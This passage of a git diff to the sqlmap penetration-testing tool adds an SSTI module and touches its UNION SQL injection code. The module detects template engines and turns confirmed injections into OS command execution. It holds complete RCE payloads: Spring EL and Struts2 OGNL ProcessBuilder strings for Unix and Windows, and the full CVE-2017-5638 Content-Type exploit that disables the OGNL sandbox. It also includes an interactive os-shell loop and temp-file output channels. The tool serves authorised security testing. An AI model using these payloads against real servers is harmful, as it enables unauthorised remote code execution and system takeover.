similar to baseline + baseline = _send(place, parameter, original) + return _ratio(page, baseline) >= UPPER_RATIO_BOUND + + +def _detectBoolean(place, parameter, engine): + """Establish a boolean oracle for this engine. Returns the true template or None.""" + original = _originalValue(place, parameter) or "" + + # arithmetic-only engines (e.g. Struts2 OGNL) carry no boolean payloads - nothing to do here + if not engine.booleanTrue or not engine.booleanFalse: + return None + + truePayload = original + engine.booleanTrue + falsePayload = original + engine.booleanFalse + + truePage = _send(place, parameter, truePayload) + falsePage = _send(place, parameter, falsePayload) + if not truePage or not falsePage: + return None + + trueText, falseText = getUnicode(truePage), getUnicode(falsePage) + + # a raw payload surviving in the response means the template did NOT evaluate it + if truePayload in trueText or falsePayload in falseText: + return None + + # an engine ERROR page is not a valid boolean rendering: a syntactically invalid true/false pair + # that merely trips two DIFFERENT error messages would otherwise diverge and fake an oracle + if _isError(truePage, engine) or _isError(falsePage, engine): + return None + + if engine.trueRendered: + # attribution guard: the true marker must be ABSENT from the untouched baseline (else it is + # page furniture, not our evaluated output), PRESENT in the true page, and ABSENT from the + # false page - so the divergence is provably OUR rendered boolean, not incidental page drift + baseline = getUnicode(_send(place, parameter, original) or "") + if engine.trueRendered in baseline: + return None + if engine.trueRendered not in trueText or engine.trueRendered in falseText: + return None + + return _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + + +def _booleanUniquelyIdentifies(engine): + """Returns True when the engine's boolean rendering signature is unique + among all engines sharing the same delimiter, allowing exact naming.""" + siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter] + signature = (engine.booleanTrue, engine.booleanFalse, + engine.trueRendered, engine.falseRendered) + count = sum((e.booleanTrue, e.booleanFalse, + e.trueRendered, e.falseRendered) == signature for e in siblings) + return count == 1 + + +def _familyUniquelyIdentifies(engine): + """Returns True when the engine's language family is unique among engines sharing the + same delimiter, so a divide-by-zero family probe is enough to name it exactly.""" + siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter] + return sum(e.family == engine.family for e in siblings) == 1 + + +# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these +# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for +# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine. +_SHARED_DELIMITERS = frozenset(("{{", "${")) + + +def _fingerprint(place, parameter): + """Identify the template engine and confirm injection. Returns (engine, evidence) + where evidence is a dict of detection results, or (None, None). + + Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2) + family(1). + Engines sharing delimiters require error, distinguishing, unique boolean rendering, or a + uniquely-identifying language family to be named exactly; otherwise they are reported as + family/probable.""" + + bestEngine = None + bestEvidence = None + bestScore = 0 + divZeroCache = {} + + for engine in _ENGINE_TABLE: + evidence = {} + score = 0 + + # Phase 1: Arithmetic in-band proof with control pair (strongest) + if _probeArithmetic(place, parameter, engine): + evidence["arithmetic"] = True + score += 3 + + # Phase 2: Boolean oracle + if _detectBoolean(place, parameter, engine): + evidence["boolean"] = True + score += 2 + + # Phase 3: Error-based fingerprinting + errorPage = _probeError(place, parameter, engine) + if errorPage is not None: + if _isError(errorPage, engine): + evidence["error"] = True + score += 1 + + # Phase 4: Distinguishing probe (breaks ties within delimiter families) + if _probeDistinguishing(place, parameter, engine): + evidence["distinguishing"] = True + score += 2 + + # Phase 5: language-family confirmation via divide-by-zero error class + if _probeFamily(place, parameter, engine, divZeroCache) == engine.family: + evidence["family"] = True + score += 1 + + if score > bestScore: + bestScore = score + bestEngine = engine + bestEvidence = evidence + + # A decisive arithmetic proof on an engine whose delimiter no other engine shares + # is unambiguous: stop scanning the remaining engines (all phases of THIS engine + # already ran, so its evidence is complete) instead of exhaustively testing all nine. + if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: + break + + # CONFIRMED requires an EVALUATION proof - in-band arithmetic (randomized pair) or a template + # boolean oracle. Weak signals (error / distinguishing / family) are NOT summed into a + # confirmation: the old `score >= 3` let boolean+error, distinguishing+error, or even a lone + # generic parser error "confirm" SSTI with no proof the template actually evaluated our input + # (and then drive automatic RCE on an unproven finding). + if bestEngine and (bestEvidence.get("arithmetic") or bestEvidence.get("boolean")): + # For engines with ambiguous delimiters (shared by multiple engines), + # name a specific engine when: error fingerprint, distinguishing probe, + # or boolean rendering is unique within the delimiter family. + _FAMILY = { + "{{": "Jinja2/Twig/Handlebars-like", + "${": "Freemarker/SpringEL/Mako-like", + } + if bestEngine.delimiter in _FAMILY: + if (bestEvidence.get("error") or + bestEvidence.get("distinguishing") or + (bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine)) or + (bestEvidence.get("family") and _familyUniquelyIdentifies(bestEngine))): + pass # specific engine name stands + else: + bestEngine = bestEngine._replace( + name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name)) + return bestEngine, bestEvidence + + # weak signals only (parser reachable, but NO evaluation proof) -> informational, NOT confirmed + if bestEngine and bestScore >= 1: + logger.info("%s parameter '%s' reaches a template parser (evidence: %s) but SSTI is NOT " + "confirmed - no arithmetic/boolean evaluation proof" % (place, parameter, ",".join(sorted(bestEvidence)) or "error")) + return None, None + + # generic parser-family error only -> informational, never a confirmed engine + for suffix in ("{{", "${", "<%=", "#{"): + page = _send(place, parameter, _originalValue(place, parameter) + suffix) + backend = _backendFromError(page) if page else None + if backend: + logger.info("%s parameter '%s' triggers a %s template-parser error, but SSTI is NOT " + "confirmed (no evaluation proof)" % (place, parameter, backend)) + break + + return None, None + + +def sstiScan(): + debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints " + debugMsg += "common template engines when possible. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + # CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2 + # vector that needs no request parameter, so it is probed once up front. Reporting it must NOT + # short-circuit the rest of the scan: request PARAMETERS can be independently SSTI-injectable and + # were previously never tested once this fired. + struts2 = _probeStruts2Header(conf.url) + if struts2: + logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE) + if conf.beep: + beep() + report = ("---\nParameter: %s ((custom) HEADER)\n Type: SSTI\n" + " Title: Struts2 OGNL injection via Content-Type header (CVE-2017-5638)\n" + " Payload: %s: %%{(#_memberAccess=...).(...)}\n---" % (HTTP_HEADER.CONTENT_TYPE, HTTP_HEADER.CONTENT_TYPE)) + conf.dumper.singleString(report) + if not any(conf.get(_) for _ in ("osCmd", "osShell")): + logger.info("the back-end 'Struts2 (OGNL)' allows OS command execution via this injection; " + "you are advised to try '--os-shell' (interactive) or '--os-cmd=<command>' (single command)") + if conf.get("osCmd"): + _dumpS2045(conf.url, conf.osCmd) + if conf.get("osShell"): + _osShell(lambda cmd: _dumpS2045(conf.url, cmd)) + + if not conf.paramDict: + if not struts2: + logger.error("no request parameters to test (use --data, GET params, or similar)") + else: + logger.info("SSTI scan complete") + return + + tested = 0 + found = [] + + for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing SSTI on %s parameter '%s'" % (place, parameter)) + + engine, evidence = _fingerprint(place, parameter) + if engine: + found.append((place, parameter, engine, evidence)) + logger.info("%s parameter '%s' is vulnerable to SSTI (back-end: '%s')" % (place, parameter, engine.name)) + if conf.beep: + beep() + + # report the payload that ACTUALLY proved the finding, not merely one the engine + # supports - showing the 7*7 arithmetic payload when only the boolean oracle fired + # misrepresents what was tested + if evidence.get("arithmetic") and engine.arithmeticFmt: + payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7) + else: + payload = _originalValue(place, parameter) + engine.booleanTrue + title = "SSTI %s injection" % engine.name + report = "---\nParameter: %s (%s)\n Type: SSTI\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload) + conf.dumper.singleString(report) + + if evidence.get("arithmetic"): + logger.info("in-band arithmetic proof confirmed (control-pair)") + if evidence.get("boolean"): + logger.info("boolean oracle confirmed") + + if not found: + if tested: + warnMsg = "no parameter appears to be injectable via SSTI (%d tested)" % tested + else: + warnMsg = "no parameters found to test for SSTI" + logger.warning(warnMsg) + else: + engines = set(engine.name for _, _, engine, _ in found) + if len(engines) == 1: + logger.info("back-end template engine: '%s'" % engines.pop()) + else: + logger.info("back-end template engines: %s" % ", ".join(sorted(engines))) + + if found: + wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) + + # Rank ALL confirmed vectors, not just found[0]: automatic exploitation must select the + # strongest VERIFIED takeover vector - the first confirmed slot may not support command + # execution while a later one does. Candidates are the exact-engine, proof-backed slots; the + # winner is the first whose reflection-proof RCE capability actually confirms. + candidates = [(pl, pr, en, ev) for (pl, pr, en, ev) in found if _canTakeover(en, ev)] + rceSlot = None + for pl, pr, en, ev in candidates: + if _probeRce(pl, pr, en): + rceSlot = (pl, pr, en, ev) + break + + # `--ssti` is an auxiliary, self-contained switch, so once SSTI is confirmed we AUTOMATICALLY + # probe whether OS command execution is reachable and advise the takeover switches. Users of + # this niche switch generally don't know to try --os-shell/--os-cmd (actual execution still + # requires those switches). + if not wantsTakeover: + if rceSlot: + _, _, en, _ = rceSlot + logger.info("the back-end '%s' allows OS command execution via %s parameter '%s'; you " + "are advised to try '--os-shell' (interactive) or '--os-cmd=<command>' " + "(single command)" % (en.name, rceSlot[0], rceSlot[1])) + # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags) + elif not candidates: + logger.error("takeover requires an exact engine fingerprint and confirmed proof " + "(arithmetic or boolean oracle); none of the confirmed vectors qualify") + else: + # prefer the capability-verified vector; fall back to the first takeover-capable candidate + # (the user explicitly asked, and _executeCommand carries its own capture fallbacks) + pl, pr, en, ev = rceSlot or candidates[0] + if conf.get("osCmd"): + _executeCommand(pl, pr, en, conf.osCmd) + + # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which reads + # commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. + if conf.get("osShell"): + _osShell(lambda cmd: _executeCommand(pl, pr, en, cmd)) + + logger.info("SSTI scan complete") + + +def _escapeSingleQuoted(value): + """Escape backslashes and single quotes for embedding in a single-quoted string.""" + return value.replace("\\", "\\\\").replace("'", "\\'") + + +def _canTakeover(engine, evidence): + """Require exact engine fingerprint (not a family guess) and confirmed + proof before attempting OS command execution.""" + if not engine.rcePayloads: + return False + if "(probable" in engine.name or "-like" in engine.name: + return False + if not (evidence.get("arithmetic") or evidence.get("boolean")): + return False + return True + + +# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private +# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any +# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the +# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read +# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path. +_FILE_RCE = { + "Spring EL / Thymeleaf": ( + "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}", + "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", + ), + "Struts2 (OGNL)": ( + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", + ), +} + +# Windows variants of the Java file-based channel: exec via cmd.exe (/bin/sh does not exist), read back +# the same way. Selected by _fileRceCapture when the Unix family did not confirm execution. +_FILE_RCE_WINDOWS = { + "Spring EL / Thymeleaf": ( + "${new ProcessBuilder(new String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'}).start()}", + "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", + ), + "Struts2 (OGNL)": ( + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", + ), +} + + +# --- OS/shell-family RCE command builders ----------------------------------- +# Reflection-proof primitives per family; `_probeRce`/`_executeCommand` try each family (Unix first) so +# takeover works on a Windows-hosted template engine without a separate OS-detection round-trip. +# challenge(a, b) -> a command whose STDOUT is the derived product a*b (never in the request) +# framed(cmd, sa, sb, ea, eb) -> a command printing <sa><sb><cmd-stdout><ea><eb>, the markers built by +# RUNTIME concatenation so the completed marker never appears in the request +def _unixChallenge(a, b): + return "echo $((%d*%d))" % (a, b) + + +def _winChallenge(a, b): + # `set /a` evaluates integer arithmetic and prints the result; cmd /c so it runs even when the engine + # execs a binary directly (Runtime.exec) rather than through a shell + return "cmd /c set /a %d*%d" % (a, b) + + +def _unixFramed(cmd, sa, sb, ea, eb): + # printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated + return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) + + +def _winFramed(cmd, sa, sb, ea, eb): + # `echo|set /p=X` prints X with NO trailing newline; `&` sequences the commands, so stdout is the + # runtime concatenation <sa><sb><cmd-stdout><ea><eb> - the joined markers are absent from the request + return 'cmd /c "echo|set /p=%s&echo|set /p=%s&%s&echo|set /p=%s&echo|set /p=%s"' % (sa, sb, cmd, ea, eb) + + +_SHELL_FAMILIES = ( + ("unix", _unixChallenge, _unixFramed), + ("windows", _winChallenge, _winFramed), +) + +# per-family temp file + cleanup for the Java file-based channel +_FILE_TEMP = { + "unix": (lambda name: "/tmp/%s" % name, _FILE_RCE, lambda f: "rm -f %s" % f), + "windows": (lambda name: "%%TEMP%%\\%s" % name, _FILE_RCE_WINDOWS, lambda f: "cmd /c del /q %s" % f), +} + + +def _commandOutput(page, baseline, original, payload, engine): + """Extract genuine command output from a response via baseline diff, rejecting error pages and + reflected-payload fragments. Returns the cleaned output string, or None when there is none.""" + if not page: + return None + if engine.errorRegex and _isError(page, engine): + return None + + text = getUnicode(page) + baseText = getUnicode(baseline or "") + output = "" + + if baseText and text != baseText: + sm = difflib.SequenceMatcher(None, baseText, text) + parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")] + if parts: + output = "".join(parts).strip() + + if not output: + output = text + if original and output.startswith(original): + output = output[len(original):] + output = output.strip() + + # A template that ECHOED our payload directive instead of executing it is reflection, not output. + # The test is whether the injected DIRECTIVE leaked into the response (payload fragment present in + # output), NOT whether the output happens to be a substring of the payload - the latter discarded + # legitimate results such as `echo hello` -> "hello" (naturally a substring of "...echo hello..."). + if output and payload and (payload in output or _ratio(output, payload) >= UPPER_RATIO_BOUND): + return None + + # A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.." + # on JDK8) means the command RAN but its stdout was never captured (a blind exec) - not real output, + # so reject it and let the caller fall through to the file-based capture (_FILE_RCE). + if output and re.search(r"Process\[pid=|(?:UNIXProcess|ProcessImpl|Process)@[0-9a-f]", output): + return None + + if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: + if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): + return output + + return None + + +def _fileRceCapture(place, parameter, engine, original, cmd, extract): + """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload + (redirects the command's output to a random temp file), then poll-read that file. Tries the Unix + family (/tmp, /bin/sh) then the Windows family (%TEMP%, cmd.exe). 'extract' is a callback + (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), so the read + is retried a few times. Returns whatever 'extract' yields, else None.""" + for family, (tempPath, specs, cleanupCmd) in _FILE_TEMP.items(): + spec = specs.get(engine.name) + if not spec: + continue + + execTemplate, readTemplate = spec + outFile = tempPath(randomStr(length=12, lowercase=True)) + execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) + _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored + + readPayload = readTemplate.replace("{OUTFILE}", outFile) + result = None + for _ in range(3): + page = _send(place, parameter, original + readPayload) + result = extract(readPayload, page) + if result is not None: + break + time.sleep(1) + + # best-effort cleanup: don't leave the random temp file behind on the target + try: + cleanup = execTemplate.replace("{CMD}", _escapeSingleQuoted(cleanupCmd(outFile))).replace("{OUTFILE}", outFile) + _send(place, parameter, original + cleanup) + except Exception: + pass + if result is not None: + return result + return None + + +def _derivedExecuted(page, baseline, expected): + """Reflection-proof proof-of-execution test using a DERIVED challenge. The probe runs `echo + $((A*B))`: only A and B appear in the request, never their product. A template/app that merely + REFLECTS the request - raw, URL-encoded, HTML-escaped, or otherwise transformed - therefore CANNOT + reproduce the product, because it is not present anywhere in the payload. So the product appearing + in the response, and being absent from the untouched baseline, is genuine command output. Returns + True or None (None keeps the _fileRceCapture callback contract).""" + if not page or (baseline and expected in baseline): + return None + return True if expected in page else None + + +def _probeRce(place, parameter, engine): + """Quiet RCE-capability check: run a DERIVED arithmetic challenge (`echo $((A*B))`) via the engine's + RCE payloads and confirm OS command execution is reachable. Used to advise the user once SSTI is + confirmed. The expected result (the product) is NOT present in the request, so no reflection - + encoded or not - can fake it (see _derivedExecuted); two independently-randomized confirmations are + required. In-band capture is tried first; if blocked (e.g. a hardened JDK whose stdout capture is + reflectively disabled) it confirms via the two-step file-based channel (inherently reflection-proof + - the value comes from shell evaluation into a file we wrote - and self-cleans).""" + + if not engine.rcePayloads: + return False + + original = _originalValue(place, parameter) or "" + baseline = getUnicode(_send(place, parameter, original) or "") + + # COUNT confirmations, not loop iterations: a challenge whose product coincidentally collides with + # the baseline is skipped and REGENERATED (it does not count as a confirmation), so an all-collision + # run can never fall through the loop and return success with zero executed payloads. + confirmed = generated = 0 + while confirmed < 2 and generated < 10: + generated += 1 + a, b = randomInt(4), randomInt(4) + expected = str(a * b) + if expected in baseline or expected in (str(a) + str(b)): # coincidental collision -> regenerate + continue + + hit = False + # try each OS/shell family's derived challenge (Unix first, then Windows `set /a`) + for _family, challenge, _framed in _SHELL_FAMILIES: + cmd = challenge(a, b) + for payloadTemplate, _description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", cmd) + page = getUnicode(_send(place, parameter, original + payload) or "") + if _derivedExecuted(page, baseline, expected): + hit = True + break + if hit: + break + + if not hit: + # in-band capture blocked -> confirm via the two-step file-based channel (self-cleaning); + # a Unix-family challenge is fine here (the file channel picks the OS family itself) + hit = bool(_fileRceCapture(place, parameter, engine, original, _unixChallenge(a, b), + lambda readPayload, page: _derivedExecuted(getUnicode(page or ""), baseline, expected))) + if not hit: + return False + confirmed += 1 + + return confirmed >= 2 + + +def _framedOutput(page, start, end): + """Slice a command's real stdout from a response that bracketed it between two DERIVED markers. Each + marker is the concatenation of two random fragments that the shell joins at runtime (`printf %s%s A + B` -> `AB`); the completed marker `AB` never appears literally in the request (which carries `A B` + separated), so a reflected payload - raw, URL-encoded, HTML-escaped, whitespace/case-normalized - + cannot reproduce it. Finding both markers in order therefore proves execution, and the text between + them is genuine output. Returns the sliced text or None.""" + if not page or start not in page: + return None + i = page.index(start) + len(start) + j = page.find(end, i) + if j < 0: + return None + return page[i:j].strip() + + +def _executeCommand(place, parameter, engine, cmd): + """Execute an OS command via the engine's RCE payloads. Preferred capture brackets the command's + output between two random markers so it slices out cleanly - immune to dynamic page material and to + reflection. Falls back to a baseline diff for engines whose RCE payload does not run through a shell + (no ';' sequencing), then to a two-step file-based capture for JDK-hardened Java engines whose in-band + stdout is reflectively blocked (see _FILE_RCE).""" + + safeCmd = _escapeSingleQuoted(cmd) + original = _originalValue(place, parameter) or "" + baseline = _send(place, parameter, original) + + # (1) reflection-proof boundary-marker capture. Each marker is a RUNTIME concatenation of two + # fragments (`printf %s%s A B` -> `AB` on Unix; `echo|set /p=A&echo|set /p=B` -> `AB` on Windows), + # so the completed marker `AB` is never literally in the request - encoded/escaped reflection cannot + # forge it. Both OS families are tried (Unix first); the one whose shell actually runs wins. + for _family, _challenge, framed in _SHELL_FAMILIES: + sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4)) + start, end = sa + sb, ea + eb + framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb)) + for payloadTemplate, description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", framedCmd) + page = getUnicode(_send(place, parameter, original + payload) or "") + out = _framedOutput(page, start, end) + if out is not None: + conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out)) + return + + # (2) file-based capture (JDK-hardened Java engines) - reflection-proof (reads a file we wrote) + output = _fileRceCapture(place, parameter, engine, original, cmd, + lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) + return + + # (3) LAST resort: unframed payload + baseline diff. This channel is NOT reflection-proof - a + # baseline difference can be dynamic page material (a rotating CSRF token, timestamp, ad, request + # id), so its output is shown only with an explicit UNVERIFIED caveat, never as clean stdout. The + # command DID execute (blind), but the displayed text may not be its output. + for payloadTemplate, description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", safeCmd) + page = _send(place, parameter, original + payload) + output = _commandOutput(page, baseline, original, payload, engine) + if output is not None: + logger.warning("blind execution confirmed but no reflection-proof output channel; the text " + "below is an UNVERIFIED baseline diff and may include dynamic page material") + conf.dumper.singleString("\nos-shell (%s) [%s, UNVERIFIED diff]:\n%s" % (cmd, description, output)) + return + + logger.warning("no output received for OS command '%s'" % cmd) + + +def _osShell(execFn): + """Shared interactive OS-shell loop (runs under --batch like the SQL one). execFn(cmd) runs and + reports a single command. EOF / 'exit' / 'quit' leaves.""" + from lib.core.common import readInput + logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") + while True: + cmd = readInput("os-shell> ", checkBatch=False) + if not cmd or cmd.strip().lower() in ("exit", "quit"): + break + execFn(cmd.strip()) + + +# CVE-2017-5638 (S2-045): OGNL injection via the Content-Type header of a Jakarta-multipart Struts2 +# action - a distinct vector from the parameter one: the Content-Type is NOT reflected, so the payload +# writes its result straight to the HTTP response. The prefix resets OGNL member access and clears the +# excluded classes/packages (the modern-Struts2 sandbox); {ACTION} prints a marker (detection) or runs +# a command and copies its stdout to the response (exploitation). +_S2045_TEMPLATE = ("%{(#nike='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#resp=@org.apache.struts2.ServletActionContext@getResponse())." + "{ACTION}}") + + +def _s2045Send(url, action): + """Send one request carrying the S2-045 Content-Type payload ({ACTION} substituted in).""" + payload = _S2045_TEMPLATE.replace("{ACTION}", action) + try: + page, _, _ = Request.getPage(url=url, auxHeaders={HTTP_HEADER.CONTENT_TYPE: payload}, + raise404=False, silent=True) + return getUnicode(page or "") + except Exception as ex: + logger.debug("S2-045 Content-Type probe failed: %s" % getUnicode(ex)) + return "" + + +def _probeStruts2Header(url): + """Detect CVE-2017-5638 with a reflection-PROOF derived challenge. Rather than printing a literal + marker (which a server that merely reflects the Content-Type header would echo back -> false + positive), have OGNL COMPUTE an arithmetic product and print it: only the operands A and B appear in + the header, never the product, so no header reflection - raw, HTML-escaped or URL-encoded - can + reproduce it. Requires TWO independently-randomized confirmations against a baseline. Returns True on + confirmed execution, else None.""" + baseline = _s2045Send(url, "(#resp.getWriter().flush())") # benign no-op baseline (no marker) + # COUNT confirmations, not iterations: a product colliding with the baseline is regenerated, so an + # all-collision run can never return success without an actually-evaluated challenge. + confirmed = generated = 0 + while confirmed < 2 and generated < 10: + generated += 1 + a, b = randomInt(4), randomInt(4) + expected = str(a * b) + if expected in (baseline or "") or expected in (str(a) + str(b)): + continue # coincidental collision -> regenerate + action = "(#w=#resp.getWriter()).(#w.print(%d*%d)).(#w.flush())" % (a, b) + page = _s2045Send(url, action) + if not (page and expected in page and expected not in (baseline or "")): + return None + confirmed += 1 + return True if confirmed >= 2 else None + + +def _executeStruts2Header(url, cmd): + """Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is + bracketed by DERIVED markers - each is two random fragments the shell concatenates at runtime + (`printf %s%s A B` -> `AB`), so the completed marker never appears literally in the header and a + reflected header cannot forge it (nor be sliced as fake 'output').""" + sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4)) + start, end = sa + sb, ea + eb + wrapped = "printf %%s%%s %s %s; %s 2>&1; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) + action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))." + "(#p.redirectErrorStream(true)).(#pr=#p.start())." + "(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))." + "(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped) + page = _s2045Send(url, action) + if start in page and end in page and page.index(start) < page.index(end): + return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n") + return None + + +def _dumpS2045(url, cmd): + """Run one command via the S2-045 vector and report its output (or a no-output warning).""" + output = _executeStruts2Header(url, cmd) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [S2-045 Content-Type]:\n%s" % (cmd, output)) + else: + logger.warning("no output received for OS command '%s'" % cmd) diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 1e194eefb06..fd0b6bd8376 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,16 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import itertools +import logging import random import re from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend +from lib.core.common import getPublicTypeMembers from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue @@ -19,24 +22,33 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import setTechnique from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDBMSError +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import queries +from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD +from lib.core.settings import FUZZ_UNION_ERROR_REGEX +from lib.core.settings import FUZZ_UNION_MAX_COLUMNS +from lib.core.settings import FUZZ_UNION_MAX_REQUESTS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER -from lib.core.settings import UNION_MIN_RESPONSE_CHARS -from lib.core.settings import UNION_STDEV_COEFF -from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL +from lib.core.settings import ORDER_BY_MAX from lib.core.settings import ORDER_BY_STEP +from lib.core.settings import UNION_MIN_RESPONSE_CHARS +from lib.core.settings import UNION_STDEV_COEFF from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request @@ -47,31 +59,58 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where= """ retVal = None - def _orderByTechnique(): - def _orderByTest(cols): + @stackedmethod + def _orderByTechnique(lowerCount=None, upperCount=None): + def _orderByProbe(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + errored = any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) + return page, headers, code, errored + + lowCount = 1 if lowerCount is 